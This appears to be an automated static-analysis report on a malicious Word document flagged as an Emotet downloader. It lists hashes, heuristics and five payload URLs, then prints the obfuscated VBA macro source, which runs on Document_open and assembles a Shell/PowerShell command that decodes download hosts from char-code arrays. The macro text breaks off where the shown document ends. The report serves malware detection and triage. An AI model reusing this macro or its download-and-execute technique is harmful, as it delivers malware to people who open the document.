Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1045ced1874d83a6…

MALICIOUS

Office (OLE)

125.0 KB Created: 2018-06-18 10:10:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 4b50f8c6af87e530123b2f3e98871bbc SHA-1: 11bf1d0c7e55f2beb61b47ccbfec36a52f8e1329 SHA-256: 1045ced1874d83a68988fad4adb46f5b366a55f2bc65462b25ad051f7a71ed5d
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7067302-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7067302-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    TGTmBv = oMVFzN * CSng(8129 * Fix(1723)) * MIKqQD + CSng(XtLwW + CLng(VCUVNX)) / (oYlNU * CSng(4367) - (3833 + Fix(azbRj) - (73376 + CLng(cWUfQm - Log(tqwcHr) - 35094 + Int(izjnln)))))
ABpoM = PNGccJcPr + Shell(qcTcNIpfq + DjbckuznLR + VtjYnLNb, 40671 - 40671)
zhlqiK = wcDzWX
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://planetferguson.net/DEAXUW/ Referenced by macro
    • http://www.dltamap.com/Qxkn0t/Referenced by macro
    • http://www.hors-mail.ru/oviq4/Referenced by macro
    • http://k8ir.com/FrFR/Referenced by macro
    • http://www.comlogica.co.in/mwDwQEg/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19277 bytes
SHA-256: 26cca87ce32d209f022a87371691f0509f7503854fbf4d56bccd6e174e0ccc82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
276 of 453 identifiers look randomly generated (e.g. 'VoRCHTzfNZWMza'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nADZFJiR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QURDC()
On Error Resume Next
homTR = PESXW
zQciSj = 70406 / 50310
qijnlw = 68723 + 63397
GLVRPN = Atn(Nkhmz + Sin(fTEcO) - 28356 / 6289)
fUpRSl = MERaFa * CSng(23013 * Fix(54168)) * VNNzF + CSng(PiXCT + CLng(Djpzwz)) / (rIKswk * CSng(85648) - (10454 + Fix(uqPWE) - (46375 + CLng(kWhlY - Log(KtQRR) - 16701 + Int(cbIbk)))))
SLwLE = IjPUW
UXVcp = 95842 / 46637
aLdUvc = 2499 + 44942
jGDSF = Atn(watPuS + Sin(fswUu) - 80466 / 13455)
tMhzIu = mwdQnR * CSng(1668 * Fix(95268)) * COOpX + CSng(qjwXFw + CLng(XHjCU)) / (cFVIKW * CSng(34926) - (42496 + Fix(FCIKjJ) - (85543 + CLng(miazV - Log(Bkouc) - 46654 + Int(hkwNV)))))
kBWXJH = WLmFi
rjUQj = 1942 / 86304
aHVub = 53988 + 86132
tZJtT = Atn(MfVZj + Sin(jjffh) - 61219 / 2736)
lQCXOA = ihpQc * CSng(46117 * Fix(3898)) * DwHwTk + CSng(EZThi + CLng(BbANF)) / (nCJYzD * CSng(99918) - (49475 + Fix(ZEtBY) - (62087 + CLng(vUfZt - Log(LdEjW) - 97982 + Int(GpCXdO)))))
tzRBD = hsoZmE
nPCVB = 81555 / 56892
fIfzQ = 35090 + 95805
MmAwr = Atn(VnCKZ + Sin(MZwqHD) - 74219 / 13472)
JUrbzi = EsMSR * CSng(33319 * Fix(89604)) * DIwZK + CSng(UvaSE + CLng(XoQQi)) / (UbjiwK * CSng(48182) - (21569 + Fix(SZmQt) - (71865 + CLng(crTsnR - Log(ZRJuWp) - 31440 + Int(wjWwTm)))))
QURDC = IqANmZlVNk + Chr$(wuWuLu + 80 + wCnSB) + "OwerSH" + triZaKFA + EhMfihYGl + oESbIjbv + uEDutJMkNin + KYrLDkLlud
UOSNf = hrpUF
MVAzr = 3588 / 96130
GjzGEC = 99532 + 87973
oDEHu = Atn(qnhJPq + Sin(ftNhq) - 9350 / 86558)
sjfLZ = wdpMr * CSng(69395 * Fix(16146)) * HhIuO + CSng(SiACij + CLng(EPzndJ)) / (ElVrFL * CSng(87907) - (21735 + Fix(aMuwWp) - (47897 + CLng(IkvwOj - Log(dtqtOs) - 46427 + Int(adIWL)))))
IolNd = wIprA
ASEFtO = 34603 / 56306
pLjiXr = 85449 + 40591
isTMiN = Atn(RNDDB + Sin(iicTPU) - 1451 / 66015)
wRRSC = iEKCYs * CSng(39126 * Fix(25908)) * wcVLLW + CSng(VzGYBo + CLng(ZAJcG)) / (wBuds * CSng(97967) - (75917 + Fix(RhtVzm) - (64046 + CLng(VjJqDv - Log(Ldauh) - 71640 + Int(PPNpz)))))
End Function
Function iXMfslajjD(DjbckuznLR)
On Error Resume Next
rUHKn = SrOfj
AUGtOo = 3829 / 63020
aWssHY = 73788 + 93136
PEibJ = Atn(jXwVi + Sin(wSJHS) - 99488 / 6268)
UzNwrB = dTpzk * CSng(91959 * Fix(90866)) * DQAPX + CSng(fJhla + CLng(MMmqfj)) / (orYOl * CSng(22306) - (78138 + Fix(VBBNia) - (58542 + CLng(qXWZqo - Log(fNRFvQ) - 64524 + Int(UDmGWi)))))
vAtFaz = OczAH
QsuKsp = 41644 / 53987
pVkMtl = 63504 + 21461
wWOBJ = Atn(tjjmuo + Sin(wBiHa) - 85839 / 59110)
TGTmBv = oMVFzN * CSng(8129 * Fix(1723)) * MIKqQD + CSng(XtLwW + CLng(VCUVNX)) / (oYlNU * CSng(4367) - (3833 + Fix(azbRj) - (73376 + CLng(cWUfQm - Log(tqwcHr) - 35094 + Int(izjnln)))))
ABpoM = PNGccJcPr + Shell(qcTcNIpfq + DjbckuznLR + VtjYnLNb, 40671 - 40671)
zhlqiK = wcDzWX
LotozE = 70019 / 81551
pMDsm = 55493 + 34169
jSVmAB = Atn(hEOzbn + Sin(JjTHF) - 76932 / 30265)
MtJcf = TrRHXG * CSng(92029 * Fix(82487)) * uUXDQs + CSng(timBCh + CLng(zCsKM)) / (HkduTz * CSng(45491) - (21450 + Fix(cATwSI) - (46429 + CLng(ZBfPz - Log(pibmjR) - 8212 + Int(wjInKq)))))
End Function
Private Sub Document_open()
On Error Resume Next
YjlEP = oAYEdH
KAtwGF = 72330 / 93252
qQLnCo = 60558 + 9966
wsIWEO = Atn(NAVHI + Sin(DBFdP) - 24635 / 56300)
NqGht = EhwOj * CSng(3506 * Fix(88748)) * daWrI + CSng(kSWoDD + CLng(mQhCA)) / (fYzcdj * CSng(72957) - (47384 + Fix(AIniv) - (28390 + CLng(NjwWcS - Log(URdppR) - 32611 + Int(MjJPd)))))
XtLXV = iAZlj
cjuVPV = 57856 / 80449
HijON = 27193 + 13249
uMSqDQ = Atn(BjYhC + Sin(dRWwV) - 56217 / 70940)
tCzzn = OazIfR * CSng(92754 * Fix(93593)) * XznNQd + CSng(IzXtsK + CLng(srXpw)) / (ilFbuZ * CSng(49755) - (51603 + Fix(wqULHJ) - (29113 + CLng(AqcCt - Log(cuAEK) - 9676 + Int(IbzRw)))))
Application.Run CBPWwMXnV + "iXMfslajjD" + BoznzQ, GlrsLKwp + QURDC + WjioRw
wQzTKP = RKWuz
ITLMfJ = 79523 / 85985
vWTBEb = 99402 + 72223
LEWfTK = Atn(GzDnv + Sin(paiHI) - 28654 / 17726)
coLARf = UnujL * CSng(34322 * Fix(1592)) * riIEow + CSng(rElhJa + CLng(LuiEm)) / (FAXDhJ * CSng(60945) - (72665 + Fix(zndWfK) - (42176 + CLng(vwdjw - Log(PkWzA) - 55338 + Int(EHfFi)))))
uQzNdf = hOTzad
Tvfdq = 48542 / 79255
hiBpn = 50807 + 41808
Whzqa = Atn(jIqJR + Sin(qMzLW) - 6156 / 52839)
WqZwCl = SnBMO * CSng(32782 * Fix(9127)) * wqiLK + CSng(wsOtqm + CLng(KpVOWj)) / (ZYWHiM * CSng(97949) - (44681 + Fix(ilAcL) - (6990 + CLng(JPLKYz - Log(CMwjI) - 96139 + Int(zrkcza)))))
End Sub


Attribute VB_Name = "VoRCHTzfNZWMza"
Function triZaKFA()
On Error Resume Next
TfQfMF = ZLFYD
ialZu = 68042 + 33423
zTBvuT = 4795 / 20595
iiFjrh = VwktpX * CSng(9447 * Fix(24781)) * MVDAS + CSng(jsMLv + CLng(AFibi)) / (DTOQbj * CSng(76858) - (43262 + Fix(wmNjdN) - (52229 + CLng(ZjRTK - Log(MXfmUU) - 87195 + Int(SLYAt)))))
wtTMwk = Atn(GwbSDZ + Sin(JvMftU) - 3527 / 86618)
rpMPwu = "ell " + Chr(34) + "$(SV  'oF" + "s' '')" + Chr(34) + "+[StrinG](" + "[CHAR[]](16 ,1" + "25 , 88, 1" + "02," + " 88, 93 ,6" + "8 , 20 , 9 , 20" + ", 90,"
mKssJU = vGDXUr
RvAsX = 96552 + 87606
iizVoq = 52359 / 54998
YuDzW = uosmwR * CSng(80131 * Fix(68543)) * cdiHIU + CSng(wUsdB + CLng(uBwER)) / (ulNiq * CSng(24198) - (55492 + Fix(SScmih) - (2743 + CLng(Poqlm - Log(wiEsq) - 76845 + Int(rqrzUo)))))
Ovsuf = Atn(rdrFwU + Sin(WmHNf) - 66891 / 60892)
hLAsCDTFbij = " 81 " + ",6" + "7, 25 , 91, 86," + " 94, 81,8" + "7,64, 20"
kiqEh = XLRll
uWiYEi = 58314 + 39081
TcRJwf = 69511 / 27428
JVkRuZ = sPAGTo * CSng(52169 * Fix(23814)) * SLRZf + CSng(SnfDw + CLng(SWuGS)) / (jXZDB * CSng(43397) - (30694 + Fix(HUkfG) - (91682 + CLng(LmWMu - Log(BDzlr) - 50591 + Int(atGAAP)))))
pnPKvJ = Atn(zzCzz + Sin(jHjXt) - 45028 / 36698)
dPhzDHCnn = " , 70" + ",85,9" + "0 ,80,91 ,89,1" + "5 ,16,80 " + ", 94,126, 1" + "13, 125," + " 20 , 9 , 20 ," + "90, 81 , 67" + ",25, 91, 86 , 9"
YsIji = mwcUH
FuluX = 1742 + 37145
IzJjS = 6835 / 66690
iGdwJ = LzBwd * CSng(70388 * Fix(72136)) * SVGwCj + CSng(Lclhj + CLng(hfOZi)) / (EfdBu * CSng(90788) - (22099 + Fix(ZKSHA) - (31121 + CLng(bQoYw - Log(wWdrOc) - 15271 + Int(SmZzTh)))))
oULDq = Atn(lAKih + Sin(rGOaB) - 61621 / 63478)
SnAzE = "4,81, 8" + "7,64 , 20 , " + "103," + " 77 , " + "71 , "
triZaKFA = rpMPwu + hLAsCDTFbij + dPhzDHCnn + SnAzE
End Function
Function EhMfihYGl()
On Error Resume Next
fDLaD = hFOurV
MWTNh = 23220 + 32069
XQpYRF = 39306 / 89886
DLYTm = upKfln * CSng(78097 * Fix(57903)) * RVAhYT + CSng(zjYUs + CLng(jwzGmL)) / (MTpuG * CSng(46717) - (95672 + Fix(zjUXiu) - (3236 + CLng(jisDlO - Log(uSiHIO) - 61083 + Int(AdZPwj)))))
aAVfz = Atn(DwKsiE + Sin(cuHSw) - 53223 / 89591)
UEEiAR = "64" + " ,81 , 89, 2" + "6, " + "122, 81, 64 ," + "26, 99, 81,86" + " ,119 , " + "88 ,93,81 ,"
IzZEK = iaLom
PdJNC = 11179 + 41350
afFCNo = 83424 / 43767
QWliD = jHisiB * CSng(3342 * Fix(25935)) * trYCZN + CSng(jCGzAL + CLng(ECOZB)) / (hawAI * CSng(2602) - (96003 + Fix(CITWBC) - (31365 + CLng(dDvtf - Log(iYDiVs) - 56404 + Int(UcAwtT)))))
YtYPEi = Atn(mczIwj + Sin(KdHjr) - 83760 / 46028)
stXncvkjEba = "90 ,64,15, 1" + "6 ,89 " + ", 9" + "9, " + "66,93, 69," + "94, 20 ," + " 9, 20,19 ," + "92 , 64," + " 64, 68,14, " + "27 ,2"
ujUNbC = SETkCr
jMutPJ = 98284 + 84812
VOFUi = 53777 / 14020
CbXbT = KCQFuF * CSng(91737 * Fix(98960)) * KVAGd + CSng(jDlVq + CLng(LIzfs)) / (oGVBcq * CSng(59705) - (38406 + Fix(uirVn) - (25858 + CLng(juItOE - Log(YmGcZ) - 98503 + Int(SaCaGs)))))
IsJaJl = Atn(VuzCFS + Sin(DWzQj) - 71488 / 95696)
YzhzZ = "7 , 68,88 ,85," + "90, 8" + "1 , 64,82 , 81," + "70, 83,65"
dSisLD = sMlCC
aThUP = 8831 + 6321
tNXvN = 26980 / 31172
WHhsW = VpGJNF * CSng(8549 * Fix(41725)) * EzBXhL + CSng(BuXOn + CLng(nKMClk)) / (NfifD * CSng(93946) - (29727 + Fix(apmDE) - (67136 + CLng(WNhWwG - Log(mUIHj) - 2754 + Int(wLTULX)))))
PVUkw = Atn(aFlLj + Sin(LozVP) - 71791 / 6664)
NcBuC = ", 71 , 91 , 90" + ",26 , 90 , 81," + " 64,27 ," + " 112,1" + "13 , 117" + " ,108," + " 97 ," + " 99 , 2" + "7, 116" + ", 9"
bszzdL = lVvNJ
hjzYfq = 16163 + 95787
laJjR = 34054 / 20554
EiIPfB = ZWinzb * CSng(37115 * Fix(54043)) * rHjHId + CSng(AbLiaW + CLng(XHfoOz)) / (vYFtnP * CSng(38758) - (29147 + Fix(FPVhoi) - (52838 + CLng(jaAHoT - Log(XCoKf) - 33480 + Int(FcFvjb)))))
UOOlt = Atn(OFoto + Sin(oHnzdH) - 8196 / 64825)
hHULp = "2,64,64," + "68, 14 ,27, " + "27 , 6" + "7,67 , 67, 26 " + ",80,88 , "
mwLsr = pfijU
NvVzc = 61634 + 34623
zQQOBf = 39700 / 89476
coftrj = FCcpDM * CSng(24775 * Fix(1269)) * jLvaOH + CSng(rYDXf + CLng(jolsQz)) / (UFmcZ * CSng(62012) - (37991 + Fix(YFGAu) - (62740 + CLng(QkrNV - Log(nVoLIR) - 35178 + Int(DKvNwU)))))
ZTBins = Atn(TwXkH + Sin(XBBDd) - 54249 / 62780)
EcWFrwlJjzj = "64," + " 85," + " 89," + " 8" + "5 , 68,26 , 8" + "7 ,91, 8"
UdrFTw = JrEmEU
roXKB = 30173 + 4145
upNzKZ = 80766 / 81392
skUoq = CkTlNw * CSng(47089 * Fix(72442)) * mvYjkL + CSng(utLhG + CLng(tEAQSk)) / (CiXBQ * CSng(28437) - (9680 + Fix(wWWdF) - (6661 + CLng(PcjSwU - Log(bcIVZr) - 28730 + Int(wjnTiH)))))
WPVGL = Atn(WpDAZH + Sin(XjAmzM) - 6326 / 91992)
XNXmjul = "9,27 ,101, 76 " + ",95, 90, 4 ," + " 64 ,27," + " 11" + "6," + "92, " + "64 ," + " 64,6"
ppJoj = uqcwu
kZOQf = 1807 + 41638
RwSKq = 5748 / 90631
EbdVj = OnzzNN * CSng(8288 * Fix(56613)) * SMDvnV + CSng(JpaocX + CLng(IKpRwZ)) / (cwQwv * CSng(7124) - (12005 + Fix(qHwGcw) - (6825 + CLng(FhBFRo - Log(rQqrpp) - 46682 + Int(FDhpOm)))))
sRsXwS = Atn(VvAFij + Sin(zUwnDZ) - 65711 / 8542)
bDtShaPF = "8 , " + "14 , 27,27 , " + "67, 67, 67, 26," + "92 ,91," + "70 ,71, 25 " + ",89," + " 85 , 93 ,88 ," + " 26, 70,65"
YKEsRb = ORIiM
qkHoNH = 68829 + 66025
IibHF = 67192 / 97534
KNOoE = afIBSA * CSng(89006 * Fix(30507)) * auOHEz + CSng(anJWjo + CLng(zjTMDi)) / (vAikTK * CSng(38052) - (94083 + Fix(vwUPOS) - (87211 + CLng(dEjmaf - Log(vlCKSz) - 75865 + Int(lQitjX)))))
mHdMNZ = Atn(ZOipr + Sin(zvpUVw) - 79580 / 64278)
waQPOqsLDjU = ", 27, 91 " + ", 66 , " + "93 ," + " 69 , 0" + ", 27,11" + "6," + " 9" + "2 , 64 , 64" + ",68 ,14 , 27 "
oFNPi = bbBYz
fdIErp = 52237 + 20129
LMIkU = 64011 / 4607
niDiw = kGTdbf * CSng(11530 * Fix(60966)) * qhTfGD + CSng(GVVcBT + CLng(OsXZA)) / (WpncJ * CSng(57071) - (21755 + Fix(EkIZzV) - (27864 + CLng(WvEUz - Log(iJVwRC) - 9659 + Int(DFFIQA)))))
rVcswC = Atn(NCDzoE + Sin(cVfXv) - 13260 / 57577)
HnDmNIWjw = ",27" + " , 95,12 ,93," + "70 ,26, 87 , 91" + " , 89,27, " + "11" + "4 , 70 , 114" + " ,10" + "2 ,"
EhMfihYGl = UEEiAR + stXncvkjEba + YzhzZ + NcBuC + hHULp + EcWFrwlJjzj + XNXmjul + bDtShaPF + waQPOqsLDjU + HnDmNIWjw
End Function
Function oESbIjbv()
On Error Resume Next
svTVfW = kJKhS
SuTOAN = 52602 + 70369
iRzVnB = 18183 / 28703
lUuQk = QkOiD * CSng(20612 * Fix(66667)) * rbosC + CSng(DVWJho + CLng(sujGF)) / (uDkTz * CSng(89055) - (28893 + Fix(rnqul) - (69442 + CLng(cnLVYr - Log(Pwkiw) - 87127 + Int(qibzs)))))
LGHozn = Atn(MifOwD + Sin(QGYkha) - 46761 / 76421)
HWRDtWprHU = "27," + " 116 ,92, 64 , " + "64," + "68" + " , 14" + " ,27,27" + " ,6"
IVFITS = AoozmT
msHHj = 10539 + 82821
dAuGdO = 99930 / 13926
SPYUY = zSuKY * CSng(32426 * Fix(32986)) * IRvbC + CSng(wROGU + CLng(fFOfS)) / (Xhafv * CSng(1713) - (13215 + Fix(XSOzIB) - (10138 + CLng(kpMIDd - Log(ABRAM) - 84622 + Int(EOsUtj)))))
cWuUDp = Atn(COzSGw + Sin(YTKAt) - 28127 / 49339)
mMSbfYMc = "7," + "67 " + ", 6" + "7,26 " + ",87, 91 ," + " 89, 8" + "8 ,91, 83,"
TWjOIz = CWQtu
FvYfvi = 38605 + 98217
DszcTV = 82020 / 92930
Dzsta = LQCHKK * CSng(71789 * Fix(83332)) * EAWAF + CSng(brKToL + CLng(iEZTJ)) / (BKaZN * CSng(7233) - (54811 + Fix(ufJXU) - (7523 + CLng(buLTt - Log(bGialk) - 14171 + Int(wiqAkp)))))
dbIwc = Atn(hMAvU + Sin(tHJNA) - 30513 / 11216)
YRCTEY = " 93, 87 ,85 " + ", 26 , 87 " + ", 91 ,26" + ",93, 90 ,2" + "7, 89 ,67,11" + "2, 67 ,101, 11" + "3 , 83," + "27" + " , 19, 26 ,103"
pARzVa = nNMSro
iiQcOa = 78625 + 40004
BFInjs = 96888 / 35604
kiPzlc = dHLkPj * CSng(47993 * Fix(71018)) * lKqKdz + CSng(fJKUL + CLng(GQHcdm)) / (zILrW * CSng(85945) - (17117 + Fix(JfBFfj) - (55983 + CLng(wKMlS - Log(qaHUnA) - 90022 + Int(mDmjuc)))))
wolqiV = Atn(IPfHdA + Sin(SRAmP) - 35556 / 70740)
UjjVJP = " , 68, 88, 9" + "3, 64 ,28 , 1" + "9 , 1" + "16 , 19, 29, 15"
iGHhnL = oqzXkZ
WuUUlm = 87450 + 58556
JpQwv = 24300 / 19231
NPmfi = plKzjS * CSng(56041 * Fix(66412)) * wqFzB + CSng(SsMZl + CLng(LXMjGK)) / (DkjvNv * CSng(47274) - (51085 + Fix(uINtM) - (22579 + CLng(ujucD - Log(WZFzzd) - 26792 + Int(QZHmiY)))))
vsDdf = Atn(zELrj + Sin(zSzMi) - 75559 / 17226)
VTbiAW = " ,16, 9" + "1 , 8" + "6,125, 97," + " 12"
wzQuj = wmFFYY
uFSdO = 60880 + 32446
IujtG = 2970 / 68027
ZzVKC = cHhTA * CSng(38403 * Fix(41284)) * jwMnS + CSng(ViPYo + CLng(vKiSzi)) / (UhILd * CSng(16961) - (85370 + Fix(jREjF) - (99561 + CLng(VTQbMF - Log(qjwVOL) - 34715 + Int(PVWHAY)))))
mjiazm = Atn(KpjoG + Sin(KBWRHc) - 82335 / 48089)
AwOKUvH = "0, " + "20,9,20, 16 " + ",125, " + "88 ,102 , " + "88,9" + "3,68, 26, 90" + ", 81 , 76,"
GHMVGi = jLmvD
lZEdS = 27067 + 97521
qtCwa = 19410 / 64734
zXhCX = jtFfPb * CSng(56532 * Fix(72568)) * qtdUZf + CSng(WRAIW + CLng(bQnnk)) / (wbisJ * CSng(12674) - (24346 + Fix(zZIzdz) - (68177 + CLng(jptYZ - Log(APBPEO) - 34464 + Int(scqVnO)))))
BUNNn = Atn(wJDiW + Sin(NjwtLh) - 2371 / 51098)
WmjRkbG = " 64 , " + "28 , 5 , 24 ,20" + ",3" + ",1,1 , " + "7 ,4, " + "6,29,15 , 16 ," + "103,80 ,113," + "70,"
wjJnc = jfcaW
wkhcE = 17759 + 87885
nDcfD = 67053 / 22104
inlnpL = LPMsPc * CSng(93949 * Fix(45011)) * QHwiN + CSng(vGWMr + CLng(VVWAn)) / (bTahQW * CSng(87847) - (40281 + Fix(ZCodBN) - (43788 + CLng(wLPVi - Log(fRdTRp) - 87166 + Int(rbfVDj)))))
qbksDW = Atn(iipww + Sin(ZpYcw) - 52385 / 90394)
RPYSURIipRj = "69, 20 ,9" + ",20 , 16" + ",81" + " , 90 "
oESbIjbv = HWRDtWprHU + mMSbfYMc + YRCTEY + UjjVJP + VTbiAW + AwOKUvH + WmjRkbG + RPYSURIipRj
End Function
Function uEDutJMkNin()
On Error Resume Next
MCDTTb = bjBoU
iuiVrj = 33864 + 2954
IcXtM = 41683 / 80138
DYcoT = YINAn * CSng(84252 * Fix(40186)) * JnLiSG + CSng(zWFSht + CLng(GnTRJ)) / (uHjwJ * CSng(6176) - (22396 + Fix(PZikO) - (18125 + CLng(ifAwv - Log(ECXWl) - 18329 + Int(BZjVhK)))))
BGMZPu = Atn(jwWhT + Sin(EYHTSO) - 99894 / 81713)
BrGuQqNCka = ", 66" + " , 14,64" + " , 81 ,89 ,68 ," + "20 , " + "31,20, 19,1" + "04" + ",19"
dsNiL = MWGzLb
BoSZu = 55426 + 33977
qbnmiL = 5758 / 63448
DTKzv = kBVhAu * CSng(6889 * Fix(17703)) * QQkzpr + CSng(NLWzHo + CLng(URsYf)) / (jsTXd * CSng(66450) - (51124 + Fix(ToZCs) - (17141 + CLng(IKfcW - Log(Fzdwq) - 92288 + Int(BQHWYz)))))
XzMTGQ = Atn(uXwzP + Sin(DLHNvI) - 79425 / 56840)
nZpKn = ", 20,31" + ",20 " + ", 16, 91, 86 ,1" + "25, 97, " + "120,20,31,20" + ", 19,26, 81," + " 76, 81 ," + " 1" + "9,15" + " ,82 ,91, 70"
YZPasv = ZihOC
zaQsqI = 88726 + 51701
mHDOEV = 95663 / 44162
KSiGl = TlKrqs * CSng(37299 * Fix(43887)) * ZzJAZ + CSng(rRRJc + CLng(WmVum)) / (NhuzEM * CSng(63218) - (4296 + Fix(nUlof) - (7852 + CLng(SqztBO - Log(ANzJS) - 95863 + Int(pzDPFo)))))
avzTW = Atn(EzfUwI + Sin(Tfutb) - 97801 / 28622)
Opiwtvjmc = " ," + " 8" + "1, 85, 87" + " , 92, 28, 16 " + ", 123 , 67, 89" + ",65,8" + "0 ,68, 20, 93"
MdjwZq = uiTPK
cMKZfK = 5082 + 19386
DSXApV = 21537 / 39863
HZcnnu = SLGaz * CSng(92391 * Fix(43537)) * zbjsTw + CSng(zsEiq + CLng(iqnUY)) / (SpwEHH * CSng(38333) - (23177 + Fix(Ibkjq) - (32156 + CLng(DaKqsp - Log(kjIDBo) - 40899 + Int(GZLDE)))))
Wckzkv = Atn(QTwAnB + Sin(MKhscP) - 26381 / 40143)
fGriWPFhBTU = " ,90 ,20,16,89" + " ," + " 99 , 66,93 " + ", 69,94 , 29, 7" + "9 " + ", 64 ,70, 7" + "7,79 , 16, 8" + "0,94 ,12" + "6 , 11"
liCwSS = IIVzhW
OmiGw = 83713 + 38014
iTWNB = 35125 / 8510
olCdjh = uBvId * CSng(27034 * Fix(51120)) * FOkrk + CSng(jtFoAD + CLng(RjZTAL)) / (siVsI * CSng(90449) - (98801 + Fix(YHjpoO) - (55901 + CLng(LAjsIr - Log(ojibcS) - 43056 + Int(cCCfat)))))
ipjzVz = Atn(KPWor + Sin(TRSPA) - 65145 / 62424)
wopcsw = "3 ,125 , 26 , 1" + "12,91, " + "67,90 ,88, " + "91," + " 85 ,80 ," + " 114 ,93, " + "88 , 81, 2" + "8 ," + "16, 12" + "3 ,67 ,"
dFjYc = inLuW
EobIV = 20866 + 68948
uaSRW = 54026 / 70573
isMjDV = mTfDX * CSng(57682 * Fix(77182)) * svBXKH + CSng(izpPPi + CLng(twtCwE)) / (mlOYv * CSng(42432) - (4375 + Fix(iwlQB) - (67639 + CLng(UmZfz - Log(NroFi) - 99688 + Int(iJUfkd)))))
JmzOl = Atn(OVqizj + Sin(fbGdS) - 8476 / 98322)
BYwXuiQHiC = "89 ,65" + " ,80 ,68," + "26, 96" + " ,91 , 103" + " ,64 , 70 ,9" + "3, 90,83 ,28 ," + "29 ,24,20"
pDQJMC = bripV
sAJGzw = 88831 + 13611
ACUtS = 52396 / 69988
rNfih = LhwPA * CSng(58277 * Fix(952)) * ZTIac + CSng(TRXhDj + CLng(QLTZhd)) / (mrAuv * CSng(77776) - (42799 + Fix(OfWQr) - (75988 + CLng(mpWSNj - Log(qwaBV) - 90402 + Int(dpSAi)))))
iTOfnX = Atn(DsLmo + Sin(jZdDP) - 31260 / 65850)
iGnYUJduV = ",16, 10" + "3, 80 ,1" + "13 , 70," + " 69 ,29, " + "15 , 10" + "3, 64 " + ",85 " + ",70 " + ",64,25,"
KDXwXZ = bZncU
wmnNQ = 27418 + 92680
iVUaqA = 39208 / 99675
mCkAOh = tlVwd * CSng(35288 * Fix(4453)) * WftiF + CSng(LlaMq + CLng(PjjCM)) / (lDAfIw * CSng(40007) - (4793 + Fix(FJtsEv) - (59019 + CLng(hWjqz - Log(RKoYiB) - 25112 + Int(Sjohz)))))
qWuJD = Atn(GcjTm + Sin(kQwfd) - 95690 / 77192)
zuzzzwVYS = " 100 , 70 ," + " 91,8" + "7,8" + "1,71 ,7" + "1,20,16,1" + "03 ,8" + "0,113 , 70, 69 " + ",15 , 8" + "6, 70 ,81 , 8"
uEDutJMkNin = BrGuQqNCka + nZpKn + Opiwtvjmc + fGriWPFhBTU + wopcsw + BYwXuiQHiC + iGnYUJduV + zuzzzwVYS
End Function
Function KYrLDkLlud()
On Error Resume Next
VpBmdn = qmDGw
dUmXQw = 13929 + 75056
MSbGaF = 36404 / 96924
rsWYV = UTCAG * CSng(72600 * Fix(42561)) * PKNqm + CSng(DKMIt + CLng(znTkXs)) / (EMiaw * CSng(8764) - (17511 + Fix(GkbND) - (14119 + CLng(XMCFU - Log(BjjNfc) - 4862 + Int(ARcOiR)))))
kjPmd = Atn(zZkvpk + Sin(QGhRYU) - 5732 / 61481)
pTdTdsjmV = "5, " + "95 , 15" + " ," + " 73 " + ",87, 85" + ",64,87 "
kIdAF = mZtMcZ
prHQt = 70278 + 21706
cViuB = 61032 / 53500
NOXnXz = XXsGm * CSng(92234 * Fix(39442)) * siduzh + CSng(zZBucj + CLng(JLinJH)) / (iwFqJT * CSng(28829) - (22856 + Fix(JWVwO) - (72389 + CLng(qNHfP - Log(mdUaYN) - 61824 + Int(zmNTO)))))
XEoOTn = Atn(rXHmk + Sin(vsZBb) - 23577 / 62435)
SIiFUzOsv = ",92, 79," + "67, 70,93" + " , 64, 8" + "1 , 25,92 ,91," + "71 , 6" + "4 , 20 , 1" + "6 ,107 " + ", 26,113, 76 , " + "87 "
Tdjrnp = XruBHv
FMnook = 62034 + 49019
riaiIL = 81121 / 15524
lHhTui = TRHzj * CSng(75710 * Fix(99462)) * jSBGA + CSng(PkHQW + CLng(uGMuv)) / (wWWSlw * CSng(7012) - (37253 + Fix(uUcPS) - (24532 + CLng(EWiaYd - Log(XaDYZ) - 20574 + Int(EMBvo)))))
mRjDCh = Atn(UPiBEw + Sin(BqLVM) - 42128 / 1083)
Fsjjrw = ",81 , 68" + ",64, " + "93, 9" + "1," + " 90 , 26, 121" + ", 81 ,71 ,"
UAiXi = BwDpk
TcuLO = 1529 + 61690
dJjZi = 58259 / 16643
